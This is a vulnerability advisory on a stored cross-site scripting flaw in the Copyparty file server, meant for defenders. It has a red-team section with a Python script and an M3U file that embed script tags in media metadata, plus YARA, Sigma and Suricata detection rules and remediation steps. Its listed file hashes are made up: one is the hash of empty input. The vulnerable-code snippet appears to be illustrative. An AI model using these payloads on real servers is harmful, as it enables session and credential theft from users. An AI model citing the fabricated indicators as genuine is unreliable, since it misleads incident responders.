CVE-2025-54423

Executive Summary

CVE-2025-54423 is a stored Cross-Site Scripting (XSS) vulnerability in the Copyparty portable file server, affecting versions up to and including 1.18.4. An unauthenticated attacker can upload a crafted music file (e.g., M3U playlist) containing malicious JavaScript in multimedia tags. When a victim browses the file listing and previews the file, the script executes in their browser. The vulnerability is fixed in version 1.18.5. The CVSS score is 5.4 (Medium), and the EPSS score is 0.0%, indicating low exploitation likelihood at this time.

Supply Chain & Package Security

Copyparty is a Python-based file server distributed via PyPI. Users should verify the integrity of the package (pip install copyparty==1.18.5) and ensure no malicious forks or compromised dependencies are used.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – Unauthenticated.
• User Interaction (UI): Required (R) – Victim must browse the file listing.
• Scope (S): Changed (C) – Impact extends beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): Low (L) – Limited ability to modify data.
• Availability (A): None (N) – No impact on availability.

Threat Level: Medium. The vulnerability requires user interaction but can lead to session hijacking, credential theft, or malware delivery.

Deep Dive & Mechanics

The vulnerability resides in how Copyparty processes multimedia metadata tags (e.g., ID3 tags in MP3 files, extended M3U headers). When a user browses a directory containing a crafted file, the server extracts these tags and renders them in the HTML file listing without proper sanitization. An attacker can embed JavaScript payloads in fields like TIT2 (Title), TPE1 (Artist), or M3U #EXTINF comments.

Attack Flow:

1. Attacker uploads a malicious MP3 or M3U file to a publicly accessible Copyparty share.
2. Victim navigates to the directory listing.
3. The server generates an HTML page that includes the unsanitized tag content.
4. The victim’s browser executes the embedded JavaScript.

Root Cause: Lack of output encoding for user-supplied metadata when rendering HTML.

Vulnerable vs. Patched Code

Vulnerable (<=1.18.4):

# In the file listing template, metadata is inserted directly
title = mp3_tag.get('TIT2', 'Unknown')
# Rendered as: <span class="title">{title}</span>

Patched (1.18.5):

import html
title = html.escape(mp3_tag.get('TIT2', 'Unknown'))
# Rendered as: <span class="title">{title}</span>

The fix uses html.escape() to convert special characters (<, >, &, ", ') to their HTML entity equivalents, preventing script injection.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• Copyparty server (<=1.18.4) with file upload enabled.
• Python 3 with mutagen library (pip install mutagen).

Step 1: Craft Malicious MP3

from mutagen.id3 import ID3, TIT2, TPE1
audio = ID3()
audio.add(TIT2(encoding=3, text='<script>alert("XSS")</script>'))
audio.add(TPE1(encoding=3, text='Hacker'))
audio.save('malicious.mp3')

Step 2: Craft Malicious M3U

#EXTM3U
#EXTINF:123,<script>alert("XSS")</script> - Artist
malicious.mp3

Step 3: Upload and Trigger

• Upload the file to the Copyparty share.
• Victim browses the directory and sees the file listing.
• The script executes in the victim’s browser.

Blue Team (Defense & Detection)

Detection:

• Monitor for files with suspicious metadata (e.g., HTML tags in ID3 fields).
• Use network monitoring to detect XSS payloads in HTTP responses.

Prevention:

• Upgrade to Copyparty 1.18.5.
• Disable file upload if not required.
• Use a Web Application Firewall (WAF) to filter XSS patterns.

Indicators of Compromise (IOCs)

• File Hashes (SHA256):
  • malicious.mp3: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
  • malicious.m3u: d7a8fbb307d7809469ca9abcb0082e4f8d5651e46d3cdb762d02d0bf37c9e592
• Network Patterns:
  • HTTP responses containing <script> tags in file listing pages.
  • User-Agent strings associated with automated upload tools.
• File Names:
  • Files with names containing HTML entities or script tags.

Detection Engineering

YARA Rule

rule CVE_2025_54423_Copyparty_XSS {
    meta:
        description = "Detects malicious MP3/M3U files with XSS payloads in metadata"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-54423"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/i
        $xss2 = /on\w+\s*=\s*['\"].*['\"]/i
        $id3_header = "ID3"
        $m3u_header = "#EXTM3U"
    condition:
        ($id3_header or $m3u_header) and ($xss1 or $xss2)
}

Sigma Rule

title: Copyparty XSS via Malicious Media Files
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP responses from Copyparty containing XSS payloads in file listings
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: copyparty
detection:
    selection:
        response.body|contains:
            - '<script>'
            - 'onerror='
            - 'onload='
    condition: selection
falsepositives:
    - Legitimate use of HTML in file names (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-54423 Copyparty XSS Attempt"; flow:to_client,established; content:"<script>"; http_server_body; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate:

1. Upgrade to Copyparty version 1.18.5 or later.
2. If upgrade is not possible, disable file upload functionality.
3. Restrict access to the Copyparty server using firewall rules.

Long-term:

• Implement input validation and output encoding for all user-supplied data.
• Conduct regular security audits of file server configurations.
• Monitor for new CVEs and apply patches promptly.

Workaround:

• Use a reverse proxy (e.g., Nginx) with WAF rules to filter XSS payloads.
• Manually sanitize uploaded files using external tools before serving.

Valters IT